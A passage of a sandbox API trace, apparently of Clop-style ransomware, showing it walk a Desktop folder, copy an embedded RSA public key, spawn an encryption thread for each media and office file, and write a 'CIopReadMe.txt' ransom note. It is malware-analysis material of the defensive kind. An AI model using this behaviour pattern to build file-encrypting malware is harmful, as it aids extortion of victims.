(pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT") returned="37Pif51-yjT" [0102.171] lstrcpyW (in: lpString1=0x1ebcaf8, lpString2="37Pif51-yjT" | out: lpString1="37Pif51-yjT") returned="37Pif51-yjT" [0102.171] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0102.171] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0102.171] lstrcmpW (lpString1="3eETFbJdu0.m4a", lpString2="..") returned 1 [0102.171] lstrcmpW (lpString1="3eETFbJdu0.m4a", lpString2=".") returned 1 [0102.171] Sleep (dwMilliseconds=0xd) [0102.206] lstrcpyA (in: lpString1=0x1ebcd2c, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.206] lstrcpyW (in: lpString1=0x1ebd28a, lpString2="3eETFbJdu0.m4a" | out: lpString1="3eETFbJdu0.m4a") returned="3eETFbJdu0.m4a" [0102.207] lstrcpyW (in: lpString1=0x1ebce8a, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" [0102.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebcd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f4 [0102.207] WaitForSingleObject (hHandle=0x5f4, dwMilliseconds=0xffffffff) returned 0x0 [0102.460] SetErrorMode (uMode=0x1) returned 0x1 [0102.460] wsprintfW (in: param_1=0x1ebc8f0, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\CIopReadMe.txt") returned 56 [0102.460] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.461] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0102.461] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0102.461] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0102.461] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0102.461] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0102.461] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x614 [0102.461] WriteFile (in: hFile=0x614, lpBuffer=0x5f1458*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x1ebc8e8, lpOverlapped=0x0 | out: lpBuffer=0x5f1458*, lpNumberOfBytesWritten=0x1ebc8e8*=0x759, lpOverlapped=0x0) returned 1 [0102.462] CloseHandle (hObject=0x614) returned 1 [0102.462] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0102.462] lstrcmpW (lpString1="3IveDjbz33f.mkv", lpString2="..") returned 1 [0102.462] lstrcmpW (lpString1="3IveDjbz33f.mkv", lpString2=".") returned 1 [0102.462] Sleep (dwMilliseconds=0xd) [0102.484] lstrcpyA (in: lpString1=0x1ebcd2c, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.484] lstrcpyW (in: lpString1=0x1ebd28a, lpString2="3IveDjbz33f.mkv" | out: lpString1="3IveDjbz33f.mkv") returned="3IveDjbz33f.mkv" [0102.484] lstrcpyW (in: lpString1=0x1ebce8a, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" [0102.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebcd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614 [0102.484] WaitForSingleObject (hHandle=0x614, dwMilliseconds=0xffffffff) returned 0x0 [0102.612] SetErrorMode (uMode=0x1) returned 0x1 [0102.612] wsprintfW (in: param_1=0x1ebc8f0, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\CIopReadMe.txt") returned 56 [0102.612] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x604 [0102.612] CloseHandle (hObject=0x604) returned 1 [0102.612] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0102.612] lstrcmpW (lpString1="8P2mSya3098KVulU.wav", lpString2="..") returned 1 [0102.612] lstrcmpW (lpString1="8P2mSya3098KVulU.wav", lpString2=".") returned 1 [0102.612] Sleep (dwMilliseconds=0xd) [0102.657] lstrcpyA (in: lpString1=0x1ebcd2c, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.657] lstrcpyW (in: lpString1=0x1ebd28a, lpString2="8P2mSya3098KVulU.wav" | out: lpString1="8P2mSya3098KVulU.wav") returned="8P2mSya3098KVulU.wav" [0102.657] lstrcpyW (in: lpString1=0x1ebce8a, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" [0102.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebcd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608 [0102.658] SetErrorMode (uMode=0x1) returned 0x1 [0102.658] wsprintfW (in: param_1=0x1ebc8f0, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\CIopReadMe.txt") returned 56 [0102.658] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc [0102.658] CloseHandle (hObject=0x5bc) returned 1 [0102.658] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0102.658] lstrcmpW (lpString1="AK8M AL1ySTdgK.odt", lpString2="..") returned 1 [0102.658] lstrcmpW (lpString1="AK8M AL1ySTdgK.odt", lpString2=".") returned 1 [0102.658] Sleep (dwMilliseconds=0xd) [0102.739] lstrcpyA (in: lpString1=0x1ebcd2c, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.739] lstrcpyW (in: lpString1=0x1ebd28a, lpString2="AK8M AL1ySTdgK.odt" | out: lpString1="AK8M AL1ySTdgK.odt") returned="AK8M AL1ySTdgK.odt" [0102.739] lstrcpyW (in: lpString1=0x1ebce8a, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" [0102.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebcd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc [0102.739] SetErrorMode (uMode=0x1) returned 0x1 [0102.739] wsprintfW (in: param_1=0x1ebc8f0, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\CIopReadMe.txt") returned 56 [0102.739] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0102.739] CloseHandle (hObject=0x620) returned 1 [0102.739] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0102.739] lstrcmpW (lpString1="iFWD4toa.jpg", lpString2="..") returned 1 [0102.739] lstrcmpW (lpString1="iFWD4toa.jpg", lpString2=".") returned 1 [0102.739] Sleep (dwMilliseconds=0xd) [0102.784] lstrcpyA (in: lpString1=0x1ebcd2c, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.784] lstrcpyW (in: lpString1=0x1ebd28a, lpString2="iFWD4toa.jpg" | out: lpString1="iFWD4toa.jpg") returned="iFWD4toa.jpg" [0102.784] lstrcpyW (in: lpString1=0x1ebce8a, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" [0102.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebcd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0102.785] WaitForSingleObject (hHandle=0x620, dwMilliseconds=0xffffffff) returned 0x0 [0103.541] SetErrorMode (uMode=0x1) returned 0x1 [0103.541] wsprintfW (in: param_1=0x1ebc8f0, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\CIopReadMe.txt") returned 56 [0103.541] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x604 [0103.541] CloseHandle (hObject=0x604) returned 1 [0103.541] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0103.542] lstrcmpW (lpString1="kDpdV 3nnSnJmGqPO.ppt", lpString2="..") returned 1 [0103.542] lstrcmpW (lpString1="kDpdV 3nnSnJmGqPO.ppt", lpString2=".") returned 1 [0103.542] Sleep (dwMilliseconds=0xd) [0103.788] lstrcpyA (in: lpString1=0x1ebcd2c, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0103.788] lstrcpyW (in: lpString1=0x1ebd28a, lpString2="kDpdV 3nnSnJmGqPO.ppt" | out: lpString1="kDpdV 3nnSnJmGqPO.ppt") returned="kDpdV 3nnSnJmGqPO.ppt" [0103.788] lstrcpyW (in: lpString1=0x1ebce8a, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" [0103.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebcd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630 [0103.789] WaitForSingleObject (hHandle=0x630, dwMilliseconds=0xffffffff) returned 0x0 [0104.371] SetErrorMode (uMode=0x1) returned 0x1 [0104.371] wsprintfW (in: param_1=0x1ebc8f0, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\CIopReadMe.txt") returned 56 [0104.371] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x62c [0104.372] CloseHandle (hObject=0x62c) returned 1 [0104.372] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0104.372] lstrcmpW (lpString1="LzUKcb-uGVeX.png", lpString2="..") returned 1 [0104.372] lstrcmpW (lpString1="LzUKcb-uGVeX.png", lpString2=".") returned 1 [0104.372] Sleep (dwMilliseconds=0xd) [0104.502] lstrcpyA (in: lpString1=0x1ebcd2c, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0104.502] lstrcpyW (in: lpString1=0x1ebd28a, lpString2="LzUKcb-uGVeX.png" | out: lpString1="LzUKcb-uGVeX.png") returned="LzUKcb-uGVeX.png" [0104.502] lstrcpyW (in: lpString1=0x1ebce8a, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" [0104.502] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebcd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0104.502] SetErrorMode (uMode=0x1) returned 0x1 [0104.502] wsprintfW (in: param_1=0x1ebc8f0, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\CIopReadMe.txt") returned 56 [0104.503] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x650 [0104.503] CloseHandle (hObject=0x650) returned 1 [0104.503] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 0 [0104.503] FindClose (in: hFindFile=0x648e78 | out: hFindFile=0x648e78) returned 1 [0104.503] FindClose (in: hFindFile=0x648e78 | out: hFindFile=0x648e78) returned 0 [0104.503] lstrcpyW (in: lpString1=0x1ebe104, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT" [0104.503] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\*.*" [0104.503] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\*.*", lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 0x67e978 [0104.503] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT") returned="37Pif51-yjT" [0104.503] lstrcpyW (in: lpString1=0x1ebcaf8, lpString2="37Pif51-yjT" | out: lpString1="37Pif51-yjT") returned="37Pif51-yjT" [0104.503] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0104.503] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0104.503] FindNextFileW (in: hFindFile=0x67e978, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0104.503] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0104.503] FindNextFileW (in: hFindFile=0x67e978, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0104.503] FindNextFileW (in: hFindFile=0x67e978, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0104.503] FindNextFileW (in: hFindFile=0x67e978, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0104.504] FindNextFileW (in: hFindFile=0x67e978, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0104.504] FindNextFileW (in: hFindFile=0x67e978, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0104.504] FindNextFileW (in: hFindFile=0x67e978, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0104.504] FindNextFileW (in: hFindFile=0x67e978, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0104.504] FindNextFileW (in: hFindFile=0x67e978, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0104.504] FindNextFileW (in: hFindFile=0x67e978, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 0 [0104.504] FindClose (in: hFindFile=0x67e978 | out: hFindFile=0x67e978) returned 1 [0104.504] FindClose (in: hFindFile=0x67e978 | out: hFindFile=0x67e978) returned 0 [0104.504] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0104.504] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0104.504] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0104.504] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0104.504] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0104.504] lstrcmpW (lpString1="ccqskCJ2SS", lpString2="..") returned 1 [0104.504] lstrcmpW (lpString1="ccqskCJ2SS", lpString2=".") returned 1 [0104.504] lstrcpyW (in: 